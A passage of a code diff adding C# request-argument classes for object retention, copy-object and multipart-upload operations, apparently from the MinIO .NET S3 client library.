+        public GetObjectRetentionArgs()
+        {
+            this.RequestMethod = HttpMethod.Get;
+        }
+
+        internal override HttpRequestMessageBuilder BuildRequest(HttpRequestMessageBuilder requestMessageBuilder)
+        {
+
+            requestMessageBuilder.AddQueryParameter("retention", "");
+            if (!string.IsNullOrEmpty(this.VersionId))
+            {
+                requestMessageBuilder.AddQueryParameter("versionId", this.VersionId);
+            }
+            return requestMessageBuilder;
+        }
+    }
+
+    public class ClearObjectRetentionArgs : ObjectVersionArgs<ClearObjectRetentionArgs>
+    {
+        public ClearObjectRetentionArgs()
+        {
+            this.RequestMethod = HttpMethod.Put;
+        }
+
+        public static string EmptyRetentionConfigXML()
+        {
+            StringWriter sw = new StringWriter(CultureInfo.InvariantCulture);
+            XmlWriterSettings settings = new XmlWriterSettings();
+            settings.OmitXmlDeclaration = true;
+            settings.Indent = true;
+            XmlWriter xw = XmlWriter.Create(sw, settings);
+            xw.WriteStartElement("Retention");
+            xw.WriteString("");
+            xw.WriteFullEndElement();
+            xw.Flush();
+            return sw.ToString();
+        }
+        internal override HttpRequestMessageBuilder BuildRequest(HttpRequestMessageBuilder requestMessageBuilder)
+        {
+            requestMessageBuilder.AddQueryParameter("retention", "");
+            if (!string.IsNullOrEmpty(this.VersionId))
+            {
+                requestMessageBuilder.AddQueryParameter("versionId", this.VersionId);
+            }
+            // Required for Clear Object Retention.
+            requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-bypass-governance-retention", "true");
+            string body = EmptyRetentionConfigXML();
+            requestMessageBuilder.AddXmlBody(body);
+            requestMessageBuilder.AddOrUpdateHeaderParameter("Content-Md5",
+                            utils.getMD5SumStr(Encoding.UTF8.GetBytes(body)));
+            return requestMessageBuilder;
+        }
+    }
+
+    public class CopySourceObjectArgs : ObjectConditionalQueryArgs<CopySourceObjectArgs>
+    {
+        internal string CopySourceObjectPath { get; set; }
+        internal CopyConditions CopyOperationConditions { get; set; }
+        public CopySourceObjectArgs()
+        {
+            this.RequestMethod = HttpMethod.Put;
+            this.CopyOperationConditions = new CopyConditions();
+            this.Headers = new Dictionary<string, string>();
+        }
+
+        internal override void Validate()
+        {
+            base.Validate();
+        }
+
+        public CopySourceObjectArgs WithCopyConditions(CopyConditions cp)
+        {
+            this.CopyOperationConditions = (cp != null) ? cp.Clone() : new CopyConditions();
+            return this;
+        }
+
+        // internal override HttpRequestMessageBuilder BuildRequest(HttpRequestMessageBuilder requestMessageBuilder)
+        // {
+        //     return requestMessageBuilder;
+        // }
+    }
+
+    internal class CopyObjectRequestArgs : ObjectWriteArgs<CopyObjectRequestArgs>
+    {
+        internal CopySourceObjectArgs SourceObject { get; set; }
+        internal ObjectStat SourceObjectInfo { get; set; }
+        internal Type CopyOperationObjectType { get; set; }
+        internal bool ReplaceTagsDirective { get; set; }
+        internal bool ReplaceMetadataDirective { get; set; }
+        internal string StorageClass { get; set; }
+        internal Dictionary<string, string> QueryMap { get; set; }
+        internal CopyConditions CopyCondition { get; set; }
+        internal RetentionMode ObjectLockRetentionMode { get; set; }
+        internal DateTime RetentionUntilDate { get; set; }
+        internal bool ObjectLockSet { get; set; }
+
+
+        internal CopyObjectRequestArgs()
+        {
+            this.RequestMethod = HttpMethod.Put;
+            this.Headers = new Dictionary<string, string>();
+            this.CopyOperationObjectType = typeof(CopyObjectResult);
+        }
+
+        internal CopyObjectRequestArgs WithQueryMap(Dictionary<string, string> queryMap)
+        {
+            this.QueryMap = new Dictionary<string, string>(queryMap);
+            return this;
+        }
+
+        internal CopyObjectRequestArgs WithPartCondition(CopyConditions partCondition)
+        {
+            this.CopyCondition = partCondition.Clone();
+            this.Headers = this.Headers ?? new Dictionary<string, string>();
+            this.Headers["x-amz-copy-source-range"] = "bytes=" + partCondition.byteRangeStart.ToString() + "-" + partCondition.byteRangeEnd.ToString();
+
+            return this;
+        }
+
+        internal CopyObjectRequestArgs WithReplaceMetadataDirective(bool replace)
+        {
+            this.ReplaceMetadataDirective = replace;
+            return this;
+        }
+
+        internal CopyObjectRequestArgs WithReplaceTagsDirective(bool replace)
+        {
+            this.ReplaceTagsDirective = replace;
+            return this;
+        }
+
+        public CopyObjectRequestArgs WithCopyObjectSource(CopySourceObjectArgs cs)
+        {
+            if (cs == null)
+            {
+                throw new InvalidOperationException("The copy source object needed for copy operation is not initialized.");
+            }
+
+            this.SourceObject = this.SourceObject ?? new CopySourceObjectArgs();
+            this.SourceObject.RequestMethod = HttpMethod.Put;
+            this.SourceObject.BucketName = cs.BucketName;
+            this.SourceObject.ObjectName = cs.ObjectName;
+            this.SourceObject.VersionId = cs.VersionId;
+            this.SourceObject.SSE = cs.SSE;
+            this.SourceObject.Headers = new Dictionary<string, string>(cs.Headers);
+            this.SourceObject.MatchETag = cs.MatchETag;
+            this.SourceObject.ModifiedSince = cs.ModifiedSince;
+            this.SourceObject.NotMatchETag = cs.NotMatchETag;
+            this.SourceObject.UnModifiedSince = cs.UnModifiedSince;
+            this.SourceObject.CopySourceObjectPath = $"{cs.BucketName}/{utils.UrlEncode(cs.ObjectName)}";
+            this.SourceObject.CopyOperationConditions = cs.CopyOperationConditions?.Clone();
+            return this;
+        }
+
+        public CopyObjectRequestArgs WithSourceObjectInfo(ObjectStat stat)
+        {
+            this.SourceObjectInfo = stat;
+            return this;
+        }
+        internal override HttpRequestMessageBuilder BuildRequest(HttpRequestMessageBuilder requestMessageBuilder)
+        {
+            string sourceObjectPath = this.SourceObject.BucketName + "/" + utils.UrlEncode(this.SourceObject.ObjectName);
+            if (!string.IsNullOrEmpty(this.SourceObject.VersionId))
+            {
+                sourceObjectPath += "?versionId=" + this.SourceObject.VersionId;
+            }
+            // Set the object source
+            requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-copy-source", sourceObjectPath);
+
+            if (this.QueryMap != null)
+            {
+                foreach (var query in this.QueryMap)
+                {
+                    requestMessageBuilder.AddQueryParameter(query.Key, query.Value);
+                }
+            }
+
+            if (this.SourceObject.CopyOperationConditions != null)
+            {
+                foreach (var item in this.SourceObject.CopyOperationConditions.GetConditions())
+                {
+                    requestMessageBuilder.AddOrUpdateHeaderParameter(item.Key, item.Value);
+                }
+            }
+            if (!string.IsNullOrEmpty(this.MatchETag))
+            {
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-copy-source-if-match", this.MatchETag);
+            }
+            if (!string.IsNullOrEmpty(this.NotMatchETag))
+            {
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-copy-source-if-none-match", this.NotMatchETag);
+            }
+            if (this.ModifiedSince != default(DateTime))
+            {
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-copy-source-if-unmodified-since", utils.To8601String(this.ModifiedSince));
+            }
+            if (this.UnModifiedSince != default(DateTime))
+            {
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-copy-source-if-modified-since", utils.To8601String(this.UnModifiedSince));
+            }
+            if (this.ObjectTags != null && this.ObjectTags.TaggingSet != null
+                    && this.ObjectTags.TaggingSet.Tag.Count > 0)
+            {
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-tagging", this.ObjectTags.GetTagString());
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-tagging-directive",
+                    this.ReplaceTagsDirective ? "REPLACE" : "COPY");
+                if (this.ReplaceMetadataDirective)
+                    requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-tagging-directive", "REPLACE");
+            }
+            if (this.ReplaceMetadataDirective)
+            {
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-metadata-directive", "REPLACE");
+            }
+            if (!string.IsNullOrEmpty(this.StorageClass))
+            {
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-storage-class", this.StorageClass);
+            }
+            if (this.ObjectLockSet)
+            {
+                if (!this.RetentionUntilDate.Equals(default(DateTime)))
+                {
+                    requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-object-lock-retain-until-date", utils.To8601String(this.RetentionUntilDate));
+                }
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-object-lock-mode",
+                    (this.ObjectLockRetentionMode == RetentionMode.GOVERNANCE) ? "GOVERNANCE" : "COMPLIANCE");
+            }
+            if (this.RequestBody != null)
+            {
+                requestMessageBuilder.SetBody(this.RequestBody);
+            }
+            return requestMessageBuilder;
+        }
+
+        internal CopyObjectRequestArgs WithCopyOperationObjectType(Type cp)
+        {
+            this.CopyOperationObjectType = cp;
+            return this;
+        }
+
+        public CopyObjectRequestArgs WithObjectLockMode(RetentionMode mode)
+        {
+            this.ObjectLockSet = true;
+            this.ObjectLockRetentionMode = mode;
+            return this;
+        }
+
+        public CopyObjectRequestArgs WithObjectLockRetentionDate(DateTime untilDate)
+        {
+            this.ObjectLockSet = true;
+            this.RetentionUntilDate = new DateTime(untilDate.Year, untilDate.Month, untilDate.Day,
+                                                    untilDate.Hour, untilDate.Minute, untilDate.Second);
+            return this;
+        }
+
+        internal override void Validate()
+        {
+            utils.ValidateBucketName(this.BucketName);//Object name can be same as that of source.
+            if (this.SourceObject == null)
+            {
+                throw new InvalidOperationException(nameof(this.SourceObject) + " has not been assigned.");
+            }
+            this.Populate();
+        }
+
+        internal void Populate()
+        {
+            this.ObjectName = string.IsNullOrEmpty(this.ObjectName) ? this.SourceObject.ObjectName : this.ObjectName;
+            // Opting for concat as Headers may have byte range info .etc.
+            if (!this.ReplaceMetadataDirective && this.SourceObjectInfo.MetaData != null)
+            {
+                this.Headers = this.SourceObjectInfo.MetaData.Concat(this.Headers).GroupBy(item => item.Key).ToDictionary(item => item.Key, item => item.First().Value);
+            }
+            else if (this.ReplaceMetadataDirective)
+            {
+                this.Headers = this.Headers ?? new Dictionary<string, string>();
+            }
+        }
+    }
+
+    public class CopyObjectArgs : ObjectWriteArgs<CopyObjectArgs>
+    {
+        internal CopySourceObjectArgs SourceObject { get; set; }
+        internal ObjectStat SourceObjectInfo { get; set; }
+        internal bool ReplaceTagsDirective { get; set; }
+        internal bool ReplaceMetadataDirective { get; set; }
+        internal string StorageClass { get; set; }
+        internal RetentionMode ObjectLockRetentionMode { get; set; }
+        internal DateTime RetentionUntilDate { get; set; }
+        internal bool ObjectLockSet { get; set; }
+
+
+        public CopyObjectArgs()
+        {
+            this.RequestMethod = HttpMethod.Put;
+            this.SourceObject = new CopySourceObjectArgs();
+            this.ReplaceTagsDirective = false;
+            this.ReplaceMetadataDirective = false;
+            this.ObjectLockSet = false;
+            this.RetentionUntilDate = default(DateTime);
+        }
+
+        internal override void Validate()
+        {
+            utils.ValidateBucketName(this.BucketName);
+            if (this.SourceObject == null)
+            {
+                throw new InvalidOperationException(nameof(this.SourceObject) + " has not been assigned. Please use " + nameof(this.WithCopyObjectSource));
+            }
+            if (this.SourceObjectInfo == null)
+            {
+                throw new InvalidOperationException("StatObject result for the copy source object needed to continue copy operation. Use " + nameof(WithCopyObjectSourceStats) + " to initialize StatObject result.");
+            }
+            if (!string.IsNullOrEmpty(this.NotMatchETag) && !string.IsNullOrEmpty(this.MatchETag))
+            {
+                throw new InvalidOperationException("Invalid to set both Etag match conditions " + nameof(this.NotMatchETag) + " and " + nameof(this.MatchETag));
+            }
+            if (!this.ModifiedSince.Equals(default(DateTime)) &&
+                !this.UnModifiedSince.Equals(default(DateTime)))
+            {
+                throw new InvalidOperationException("Invalid to set both modified date match conditions " + nameof(this.ModifiedSince) + " and " + nameof(this.UnModifiedSince));
+            }
+            this.Populate();
+        }
+
+        private void Populate()
+        {
+            if (string.IsNullOrEmpty(this.ObjectName))
+            {
+                this.ObjectName = this.SourceObject.ObjectName;
+            }
+            if (this.SSE != null && this.SSE.GetType().Equals(EncryptionType.SSE_C))
+            {
+                this.Headers = new Dictionary<string, string>();
+                this.SSE.Marshal(this.Headers);
+            }
+            if (!this.ReplaceMetadataDirective)
+            {
+                // Check in copy conditions if replace metadata has been set
+                bool copyReplaceMeta = (this.SourceObject.CopyOperationConditions != null) ?
+                    this.SourceObject.CopyOperationConditions.HasReplaceMetadataDirective() : false;
+                this.WithReplaceMetadataDirective(copyReplaceMeta);
+            }
+
+            this.Headers = this.Headers ?? new Dictionary<string, string>();
+            if (this.ReplaceMetadataDirective)
+            {
+                if (this.Headers != null)
+                {
+                    foreach (KeyValuePair<string, string> pair in this.SourceObjectInfo.MetaData)
+                    {
+                        var comparer = StringComparer.OrdinalIgnoreCase;
+                        var newDictionary = new Dictionary<string, string>(this.Headers, comparer);
+
+                        if (newDictionary.ContainsKey(pair.Key))
+                        {
+                            this.SourceObjectInfo.MetaData.Remove(pair.Key);
+                        }
+                    }
+                }
+                this.Headers = this.Headers
+                                        .Concat(this.SourceObjectInfo.MetaData)
+                                        .GroupBy(item => item.Key)
+                                        .ToDictionary(item => item.Key, item =>
+                                         item.Last().Value);
+            }
+
+            if (this.Headers != null)
+            {
+                List<Tuple<string, string>> newKVList = new List<Tuple<string, string>>();
+                foreach (var item in this.Headers)
+                {
+                    var key = item.Key;
+                    if (!OperationsUtil.IsSupportedHeader(item.Key) &&
+                                        !item.Key.StartsWith("x-amz-meta",
+                                            StringComparison.OrdinalIgnoreCase) &&
+                                        !OperationsUtil.IsSSEHeader(key))
+                    {
+                        newKVList.Add(new Tuple<string, string>("x-amz-meta-" +
+                                            key.ToLowerInvariant(), item.Value));
+                        this.Headers.Remove(item.Key);
+                    }
+                    newKVList.Add(new Tuple<string, string>(key, item.Value));
+                }
+                foreach (var item in newKVList)
+                {
+                    this.Headers[item.Item1] = item.Item2;
+                }
+            }
+        }
+
+        public CopyObjectArgs WithCopyObjectSource(CopySourceObjectArgs cs)
+        {
+            if (cs == null)
+            {
+                throw new InvalidOperationException("The copy source object needed for copy operation is not initialized.");
+            }
+
+            this.SourceObject.RequestMethod = HttpMethod.Put;
+            this.SourceObject = this.SourceObject ?? new CopySourceObjectArgs();
+            this.SourceObject.BucketName = cs.BucketName;
+            this.SourceObject.ObjectName = cs.ObjectName;
+            this.SourceObject.VersionId = cs.VersionId;
+            this.SourceObject.SSE = cs.SSE;
+            this.SourceObject.Headers = cs.Headers;
+            this.SourceObject.MatchETag = cs.MatchETag;
+            this.SourceObject.ModifiedSince = cs.ModifiedSince;
+            this.SourceObject.NotMatchETag = cs.NotMatchETag;
+            this.SourceObject.UnModifiedSince = cs.UnModifiedSince;
+            this.SourceObject.CopySourceObjectPath = $"{cs.BucketName}/{utils.UrlEncode(cs.ObjectName)}";
+            this.SourceObject.CopyOperationConditions = cs.CopyOperationConditions?.Clone();
+            return this;
+        }
+
+        public CopyObjectArgs WithReplaceTagsDirective(bool replace)
+        {
+            this.ReplaceTagsDirective = replace;
+            return this;
+        }
+
+        public CopyObjectArgs WithReplaceMetadataDirective(bool replace)
+        {
+            this.ReplaceMetadataDirective = replace;
+            return this;
+        }
+
+        public CopyObjectArgs WithObjectLockMode(RetentionMode mode)
+        {
+            this.ObjectLockSet = true;
+            this.ObjectLockRetentionMode = mode;
+            return this;
+        }
+
+        public CopyObjectArgs WithObjectLockRetentionDate(DateTime untilDate)
+        {
+            this.ObjectLockSet = true;
+            this.RetentionUntilDate = new DateTime(untilDate.Year, untilDate.Month, untilDate.Day,
+                                                    untilDate.Hour, untilDate.Minute, untilDate.Second);
+            return this;
+        }
+
+        internal CopyObjectArgs WithCopyObjectSourceStats(ObjectStat info)
+        {
+            this.SourceObjectInfo = info;
+            if (info.MetaData != null && !this.ReplaceMetadataDirective)
+            {
+                this.SourceObject.Headers = this.SourceObject.Headers ?? new Dictionary<string, string>();
+                this.SourceObject.Headers = this.SourceObject.Headers.Concat(info.MetaData).GroupBy(item => item.Key).ToDictionary(item => item.Key, item => item.First().Value);
+            }
+            return this;
+        }
+
+        internal CopyObjectArgs WithStorageClass(string storageClass)
+        {
+            this.StorageClass = storageClass;
+            return this;
+        }
+
+        public CopyObjectArgs WithRetentionUntilDate(DateTime date)
+        {
+            this.ObjectLockSet = true;
+            this.RetentionUntilDate = date;
+            return this;
+        }
+
+        internal override HttpRequestMessageBuilder BuildRequest(HttpRequestMessageBuilder requestMessageBuilder)
+        {
+            if (!string.IsNullOrEmpty(this.MatchETag))
+            {
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-copy-source-if-match", this.MatchETag);
+            }
+            if (!string.IsNullOrEmpty(this.NotMatchETag))
+            {
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-copy-source-if-none-match", this.NotMatchETag);
+            }
+            if (this.ModifiedSince != default(DateTime))
+            {
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-copy-source-if-unmodified-since", utils.To8601String(this.ModifiedSince));
+            }
+            if (this.UnModifiedSince != default(DateTime))
+            {
+                requestMessageBuilder.Request.Headers.Add("x-amz-copy-source-if-modified-since", utils.To8601String(this.UnModifiedSince));
+            }
+            if (!string.IsNullOrEmpty(this.VersionId))
+            {
+                requestMessageBuilder.AddQueryParameter("versionId", this.VersionId);
+            }
+            if (this.ObjectTags != null && this.ObjectTags.TaggingSet != null
+                    && this.ObjectTags.TaggingSet.Tag.Count > 0)
+            {
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-tagging", this.ObjectTags.GetTagString());
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-tagging-directive",
+                    this.ReplaceTagsDirective ? "COPY" : "REPLACE");
+            }
+            if (this.ReplaceMetadataDirective)
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-metadata-directive", "REPLACE");
+            if (!string.IsNullOrEmpty(this.StorageClass))
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-storage-class", this.StorageClass);
+            if (this.LegalHoldEnabled != null && this.LegalHoldEnabled.Value)
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-object-lock-legal-hold", "ON");
+            if (this.ObjectLockSet)
+            {
+                if (!this.RetentionUntilDate.Equals(default(DateTime)))
+                    requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-object-lock-retain-until-date", utils.To8601String(this.RetentionUntilDate));
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-object-lock-mode",
+                    (this.ObjectLockRetentionMode == RetentionMode.GOVERNANCE) ? "GOVERNANCE" : "COMPLIANCE");
+            }
+
+            return requestMessageBuilder;
+        }
+    }
+
+    internal class NewMultipartUploadArgs<T> : ObjectWriteArgs<T>
+                    where T : NewMultipartUploadArgs<T>
+    {
+        internal RetentionMode ObjectLockRetentionMode { get; set; }
+        internal DateTime RetentionUntilDate { get; set; }
+        internal bool ObjectLockSet { get; set; }
+
+        internal NewMultipartUploadArgs()
+        {
+            this.RequestMethod = HttpMethod.Post;
+        }
+
+        public NewMultipartUploadArgs<T> WithObjectLockMode(RetentionMode mode)
+        {
+            this.ObjectLockSet = true;
+            this.ObjectLockRetentionMode = mode;
+            return this;
+        }
+
+        public NewMultipartUploadArgs<T> WithObjectLockRetentionDate(DateTime untilDate)
+        {
+            this.ObjectLockSet = true;
+            this.RetentionUntilDate = new DateTime(untilDate.Year, untilDate.Month, untilDate.Day,
+                                                    untilDate.Hour, untilDate.Minute, untilDate.Second);
+            return this;
+        }
+
+        internal override HttpRequestMessageBuilder BuildRequest(HttpRequestMessageBuilder requestMessageBuilder)
+        {
+            requestMessageBuilder.AddQueryParameter("uploads", "");
+            if (this.ObjectLockSet)
+            {
+                if (!this.RetentionUntilDate.Equals(default(DateTime)))
+                {
+                    requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-object-lock-retain-until-date", utils.To8601String(this.RetentionUntilDate));
+                }
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-object-lock-mode",
+                    (this.ObjectLockRetentionMode == RetentionMode.GOVERNANCE) ? "GOVERNANCE" : "COMPLIANCE");
+            }
+
+            requestMessageBuilder.AddOrUpdateHeaderParameter("content-type", this.ContentType);
+
+            return requestMessageBuilder;
+        }
+    }
+
+    internal class NewMultipartUploadPutArgs : NewMultipartUploadArgs<NewMultipartUploadPutArgs>
+    {
+    }
+    internal class MultipartCopyUploadArgs : ObjectWriteArgs<MultipartCopyUploadArgs>
+    {
+        internal CopySourceObjectArgs SourceObject { get; set; }
+        internal ObjectStat SourceObjectInfo { get; set; }
+        internal long CopySize { get; set; }
+        internal bool ReplaceMetadataDirective { get; set; }
+        internal bool ReplaceTagsDirective { get; set; }
+        internal string StorageClass { get; set; }
+        internal RetentionMode ObjectLockRetentionMode { get; set; }
+        internal DateTime RetentionUntilDate { get; set; }
+        internal bool ObjectLockSet { get; set; }
+
+
+        internal MultipartCopyUploadArgs(CopyObjectArgs args)
+        {
+            if (args == null || args.SourceObject == null)
+            {
+                string message = (args == null) ? $"The constructor of " + nameof(CopyObjectRequestArgs) + "initialized with arguments of CopyObjectArgs null." :
+                    $"The constructor of " + nameof(CopyObjectRequestArgs) + "initialized with arguments of CopyObjectArgs type but with " + nameof(args.SourceObject) + " not initialized.";
+                throw new InvalidOperationException(message);
+            }
+            this.RequestMethod = HttpMethod.Put;
+
+            this.SourceObject = new CopySourceObjectArgs();
+            this.SourceObject.BucketName = args.SourceObject.BucketName;
+            this.SourceObject.ObjectName = args.SourceObject.ObjectName;
+            this.SourceObject.VersionId = args.SourceObject.VersionId;
+            this.SourceObject.CopyOperationConditions = args.SourceObject.CopyOperationConditions.Clone();
+            this.SourceObject.MatchETag = args.SourceObject.MatchETag;
+            this.SourceObject.ModifiedSince = args.SourceObject.ModifiedSince;
+            this.SourceObject.NotMatchETag = args.SourceObject.NotMatchETag;
+            this.SourceObject.UnModifiedSince = args.SourceObject.UnModifiedSince;
+
+            // Destination part.
+            this.BucketName = args.BucketName;
+            this.ObjectName = args.ObjectName ?? args.SourceObject.ObjectName;
+            this.SSE = args.SSE;
+            this.SSE?.Marshal(this.Headers);
+            this.VersionId = args.VersionId;
+            this.SourceObjectInfo = args.SourceObjectInfo;
+            // Header part
+            if (!args.ReplaceMetadataDirective)
+            {
+                this.Headers = new Dictionary<string, string>(args.SourceObjectInfo.MetaData);
+            }
+            else if (args.ReplaceMetadataDirective)
+            {
+                this.Headers = this.Headers ?? new Dictionary<string, string>();
+            }
+            if (this.Headers != null)
+            {
+                List<Tuple<string, string>> newKVList = new List<Tuple<string, string>>();
+                foreach (var item in this.Headers)
+                {
+                    var key = item.Key;
+                    if (!OperationsUtil.IsSupportedHeader(item.Key) && !item.Key.StartsWith("x-amz-meta", StringComparison.OrdinalIgnoreCase) &&
+                        !OperationsUtil.IsSSEHeader(key))
+                    {
+                        newKVList.Add(new Tuple<string, string>("x-amz-meta-" + key.ToLowerInvariant(), item.Value));
+                    }
+                }
+                foreach (var item in newKVList)
+                {
+                    this.Headers[item.Item1] = item.Item2;
+                }
+            }
+            this.ReplaceTagsDirective = args.ReplaceTagsDirective;
+            if (args.ReplaceTagsDirective && args.ObjectTags != null && args.ObjectTags.TaggingSet.Tag.Count > 0) // Tags of Source object
+            {
+                this.ObjectTags = Tagging.GetObjectTags(args.ObjectTags.GetTags());
+            }
+        }
+
+        internal MultipartCopyUploadArgs()
+        {
+            this.RequestMethod = HttpMethod.Put;
+        }
+
+        internal MultipartCopyUploadArgs WithCopySize(long copySize)
+        {
+            this.CopySize = copySize;
+            return this;
+        }
+
+        internal MultipartCopyUploadArgs WithStorageClass(string storageClass)
+        {
+            this.StorageClass = storageClass;
+            return this;
+        }
+
+        internal override HttpRequestMessageBuilder BuildRequest(HttpRequestMessageBuilder requestMessageBuilder)
+        {
+            if (this.ObjectTags != null && this.ObjectTags.TaggingSet != null
+                    && this.ObjectTags.TaggingSet.Tag.Count > 0)
+            {
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-tagging", this.ObjectTags.GetTagString());
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-tagging-directive",
+                    this.ReplaceTagsDirective ? "REPLACE" : "COPY");
+            }
+            if (this.ReplaceMetadataDirective)
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-metadata-directive", "REPLACE");
+            if (!string.IsNullOrEmpty(this.StorageClass))
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-storage-class", this.StorageClass);
+            if (this.ObjectLockSet)
+            {
+                if (!this.RetentionUntilDate.Equals(default(DateTime)))
+                    requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-object-lock-retain-until-date", utils.To8601String(this.RetentionUntilDate));
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-object-lock-mode",
+                    (this.ObjectLockRetentionMode == RetentionMode.GOVERNANCE) ? "GOVERNANCE" : "COMPLIANCE");
+            }
+
+            return requestMessageBuilder;
+        }
+
+        internal MultipartCopyUploadArgs WithReplaceMetadataDirective(bool replace)
+        {
+            this.ReplaceMetadataDirective = replace;
+            return this;
+        }
+        internal MultipartCopyUploadArgs WithObjectLockMode(RetentionMode mode)
+        {
+            this.ObjectLockSet = true;
+            this.ObjectLockRetentionMode = mode;
+            return this;
+        }
+
+        internal MultipartCopyUploadArgs WithObjectLockRetentionDate(DateTime untilDate)
+        {
+            this.ObjectLockSet = true;
+            this.RetentionUntilDate = new DateTime(untilDate.Year, untilDate.Month, untilDate.Day,
+                                                    untilDate.Hour, untilDate.Minute, untilDate.Second);
+            return this;
+        }
+    }
+
+
+    internal class NewMultipartUploadCopyArgs : NewMultipartUploadArgs<NewMultipartUploadCopyArgs>
+    {
+        internal bool ReplaceMetadataDirective { get; set; }
+        internal bool ReplaceTagsDirective { get; set; }
+        internal string StorageClass { get; set; }
+        internal ObjectStat SourceObjectInfo { get; set; }
+        internal CopySourceObjectArgs SourceObject { get; set; }
+
+        internal override void Validate()
+        {
+            base.Validate();
+            if (this.SourceObjectInfo == null || this.SourceObject == null)
+            {
+                throw new InvalidOperationException(nameof(this.SourceObjectInfo) + " and " + nameof(this.SourceObject) + " need to be initialized for a NewMultipartUpload operation to work.");
+            }
+            this.Populate();
+        }
+
+        private void Populate()
+        {
+            //Concat as Headers may have byte range info .etc.
+            if (!this.ReplaceMetadataDirective && this.SourceObjectInfo.MetaData != null && this.SourceObjectInfo.MetaData.Count > 0)
+            {
+                this.Headers = this.SourceObjectInfo.MetaData.Concat(this.Headers).GroupBy(item => item.Key).ToDictionary(item => item.Key, item => item.First().Value);
+            }
+            else if (this.ReplaceMetadataDirective)
+            {
+                this.Headers = this.Headers ?? new Dictionary<string, string>();
+            }
+            if (this.Headers != null)
+            {
+                List<Tuple<string, string>> newKVList = new List<Tuple<string, string>>();
+                foreach (var item in this.Headers)
+                {
+                    var key = item.Key;
+                    if (!OperationsUtil.IsSupportedHeader(item.Key) && !item.Key.StartsWith("x-amz-meta", StringComparison.OrdinalIgnoreCase) &&
+                        !OperationsUtil.IsSSEHeader(key))
+                    {
+                        newKVList.Add(new Tuple<string, string>("x-amz-meta-" + key.ToLowerInvariant(), item.Value));
+                    }
+                }
+                foreach (var item in newKVList)
+                {
+                    this.Headers[item.Item1] = item.Item2;
+                }
+            }
+        }
+
+        public new NewMultipartUploadCopyArgs WithObjectLockMode(RetentionMode mode)
+        {
+            base.WithObjectLockMode(mode);
+            return this;
+        }
+
+        public new NewMultipartUploadCopyArgs WithHeaders(Dictionary<string, string> headers)
+        {
+            base.WithHeaders(headers);
+            return this;
+        }
+
+        public new NewMultipartUploadCopyArgs WithObjectLockRetentionDate(DateTime untilDate)
+        {
+            base.WithObjectLockRetentionDate(untilDate);
+            return this;
+        }
+
+        internal NewMultipartUploadCopyArgs WithStorageClass(string storageClass)
+        {
+            this.StorageClass = storageClass;
+            return this;
+        }
+
+        internal NewMultipartUploadCopyArgs WithReplaceMetadataDirective(bool replace)
+        {
+            this.ReplaceMetadataDirective = replace;
+            return this;
+        }
+
+        internal NewMultipartUploadCopyArgs WithReplaceTagsDirective(bool replace)
+        {
+            this.ReplaceTagsDirective = replace;
+            return this;
+        }
+
+        public NewMultipartUploadCopyArgs WithSourceObjectInfo(ObjectStat stat)
+        {
+            this.SourceObjectInfo = stat;
+            return this;
+        }
+        public NewMultipartUploadCopyArgs WithCopyObjectSource(CopySourceObjectArgs cs)
+        {
+            if (cs == null)
+            {
+                throw new InvalidOperationException("The copy source object needed for copy operation is not initialized.");
+            }
+
+            this.SourceObject = this.SourceObject ?? new CopySourceObjectArgs();
+            this.SourceObject.RequestMethod = HttpMethod.Put;
+            this.SourceObject.BucketName = cs.BucketName;
+            this.SourceObject.ObjectName = cs.ObjectName;
+            this.SourceObject.VersionId = cs.VersionId;
+            this.SourceObject.SSE = cs.SSE;
+            this.SourceObject.Headers = cs.Headers;
+            this.SourceObject.MatchETag = cs.MatchETag;
+            this.SourceObject.ModifiedSince = cs.ModifiedSince;
+            this.SourceObject.NotMatchETag = cs.NotMatchETag;
+            this.SourceObject.UnModifiedSince = cs.UnModifiedSince;
+            this.SourceObject.CopySourceObjectPath = $"{cs.BucketName}/{utils.UrlEncode(cs.ObjectName)}";
+            this.SourceObject.CopyOperationConditions = cs.CopyOperationConditions?.Clone();
+            return this;
+        }
+
+        internal override HttpRequestMessageBuilder BuildRequest(HttpRequestMessageBuilder requestMessageBuilder)
+        {
+
+            requestMessageBuilder.AddQueryParameter("uploads", "");
+            if (this.ObjectTags != null && this.ObjectTags.TaggingSet != null
+                    && this.ObjectTags.TaggingSet.Tag.Count > 0)
+            {
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-tagging", this.ObjectTags.GetTagString());
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-tagging-directive",
+                    this.ReplaceTagsDirective ? "REPLACE" : "COPY");
+            }
+            if (this.ReplaceMetadataDirective)
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-metadata-directive", "REPLACE");
+            if (!string.IsNullOrWhiteSpace(this.StorageClass))
+            {
